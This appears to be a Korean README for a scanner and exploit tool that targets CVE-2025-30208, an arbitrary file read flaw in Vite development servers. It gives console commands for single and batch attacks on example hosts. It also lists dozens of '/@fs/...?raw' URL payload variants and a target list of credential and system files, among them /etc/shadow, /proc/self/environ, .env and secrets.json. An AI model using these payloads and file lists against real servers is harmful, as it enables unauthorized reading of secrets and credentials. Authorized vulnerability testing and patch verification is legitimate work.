
CVE‑2025‑30208는 인기 있는 프론트엔드 빌드 도구인 Vite 개발 서버에서 발생하는 중간 심각도의 임의 파일 읽기 취약점입니다.
엔터프라이즈급 기능을 갖춘 CVE-2025-30208 고급 취약점 스캐너
Vite 임의 파일 읽기 취약점 탐지를 위한 전문 침투 테스트 도구
이것은 Vite 개발 서버에서 CVE-2025-30208 취약점을 탐지하고 악용하도록 설계된 포괄적인 취약점 스캐너입니다. 이 취약점은 Vite의 파일 시스템 엔드포인트를 통해 임의 파일 읽기 액세스를 허용하여, 민감한 설정 파일, 소스 코드 및 시스템 정보를 잠재적으로 노출시킬 수 있습니다.
이 도구는 이제 더 나은 유지보수성과 확장성을 위한 모듈식 아키텍처를 갖추고 있습니다:
CVE-2025-30208.py - 메인 스캐너 애플리케이션payloads.py - 고급 익스플로잇 페이로드 (60개 이상 변형)sensitive_files.py - 포괄적인 민감 파일 데이터베이스 (200개 이상 파일)html_template.py - 향상된 해커 스타일 HTML 보고 템플릿pip3 install -r requirements.txt
python3 CVE-2025-30208.py
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd
CVE-2025-30208 > test
CVE-2025-30208 > run
# 상세 출력을 위해 상세 모드 활성화
CVE-2025-30208 > verbose
CVE-2025-30208 > run
CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch
192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[두 번 Enter를 눌러 종료]
CVE-2025-30208 > scan
# 프록시 설정
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
# 사용자 정의 헤더 설정
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}
# 속도 제한 설정
CVE-2025-30208 > rate
Enter rate limit: 1.0
# 아름다운 HTML 보고서 생성
CVE-2025-30208 > pull
# 보고서 보기를 위한 웹 서버 시작
CVE-2025-30208 > web
# 특정 포트에서 웹 서버 시작
CVE-2025-30208 > web 8081
# 웹 서버 중지
CVE-2025-30208 > web off
| 명령어 | 설명 | 예시 |
|---|---|---|
set <옵션> <값> | 설정 옵션 지정 | set RHOST 192.168.1.100 |
show options | 현재 설정 표시 | show options |
edit | 대화형 옵션 편집기 | edit |
run / exploit | 취약점 테스트 실행 | run |
batch | 여러 대상 일괄 스캔 | batch |
scan | 민감 파일 검색 | scan |
pull | 결과를 HTML/JSON으로 내보내기 | pull |
web [on|off|port] | HTML 보고서용 웹 서버 | web 8080 |
save | 세션 설정 저장 | save |
load | 세션 설정 불러오기 | load |
test | 대상 연결성 테스트 | test |
validate | 현재 설정 검증 | validate |
verbose | 상세 모드 전환 | verbose |
proxy | 프록시 설정 구성 | proxy |
headers | 사용자 정의 HTTP 헤더 설정 | headers |
rate | 속도 제한 구성 | rate |
log | 로깅 정보 표시 | log |
help / ? | 도움말 표시 | help |
exit / quit | 도구 종료 | exit |
| 옵션 | 설명 | 기본값 | 검증 |
|---|---|---|---|
RHOST | 대상 호스트/IP 주소 | - | 호스트명/IP 검증 |
RPORT | 대상 포트 번호 | - | 포트 범위 (1-65535) |
FILEPATH | 테스트할 파일 경로 | etc/passwd | 경로 검증 |
PROXY | HTTP/HTTPS 프록시 URL | - | URL 형식 검증 |
VERBOSE | 상세 출력 활성화 | false | 불리언 검증 |
RATE_LIMIT | 요청 간 지연 (초) | 0.3 | 숫자 검증 |
THREADS | 일괄 스캔 스레드 수 | 5 | 정수 검증 |
TIMEOUT | 요청 시간 초과 (초) | 5 | 정수 검증 |
CUSTOM_HEADERS | 사용자 정의 HTTP 헤더 (JSON) | {} | JSON 형식 검증 |
이제 스캐너는 payloads.py에 구성된 60개 이상의 다양한 페이로드 변형을 사용합니다:
/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url
/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8
/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug
/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html
/app/{file_path}?raw??
/App/{file_path}?raw??
이제 도구는 sensitive_files.py에 구성된 200개 이상의 민감 파일을 테스트합니다:
/etc/passwd - 사용자 계정 정보/etc/shadow - 암호화된 비밀번호 데이터/etc/services - 네트워크 서비스/etc/hosts - 호스트 이름 매핑/etc/fstab - 파일 시스템 테이블/etc/ssh/sshd_config - SSH 서버 설정/etc/crontab - 시스템 cron 작업/etc/sudoers - Sudo 설정/proc/version - 커널 버전/proc/cpuinfo - CPU 정보/proc/meminfo - 메모리 정보/proc/self/environ - 프로세스 환경/proc/self/cmdline - 프로세스 명령줄/proc/net/tcp - TCP 연결/proc/net/udp - UDP 연결.env - 환경 변수.env.local - 로컬 환경.env.production - 프로덕션 환경config.json - 애플리케이션 설정settings.json - 애플리케이션 설정application.properties - Spring 설정application.yml - YAML 설정database.yml - 데이터베이스 설정secrets.json - 비밀 관리package.json - Node.js 종속성package-lock.json - 잠긴 종속성yarn.lock - Yarn 잠금 파일vite.config.js - Vite 설정vite.config.ts - TypeScript Vite 설정tsconfig.json - TypeScript 설정webpack.config.js - Webpack 설정next.config.js - Next.js 설정nuxt.config.js - Nuxt.js 설정angular.json - Angular 설정vue.config.js - Vue.js 설정rollup.config.js - Rollup 설정eslint.config.js - ESLint 설정prettier.config.js - Prettier 설정jest.config.js - Jest 설정babel.config.js - Babel 설정tailwind.config.js - Tailwind CSS 설정.git/config - Git 설정.gitignore - Git 무시 규칙.gitattributes - Git 속성.gitmodules - Git 서브모듈.git/HEAD - 현재 브랜치.git/logs/HEAD - Git 로그.git/refs/heads/master - Master 브랜치.git/refs/heads/main - Main 브랜치README.md - 프로젝트 문서CHANGELOG.md - 변경 로그LICENSE - 라이선스 정보CONTRIBUTING.md - 기여 가이드라인AUTHORS - 작성자 정보TODO.md - 할 일 목록ROADMAP.md - 개발 로드맵Dockerfile - Docker 설정docker-compose.yml - Docker Composedocker-compose.override.yml - 재정의 설정.dockerignore - Docker 무시 규칙docker-compose.prod.yml - 프로덕션 설정docker-compose.dev.yml - 개발 설정nginx.conf - Nginx 설정apache2.conf - Apache 설정httpd.conf - HTTP 데몬 설정.htaccess - Apache 접근 제어web.config - IIS 설정robots.txt - 검색 엔진 지시어sitemap.xml - 사이트 구조manifest.json - 웹 앱 매니페스트sw.js - 서비스 워커firebase.json - Firebase 설정firebase.rules - Firebase 보안 규칙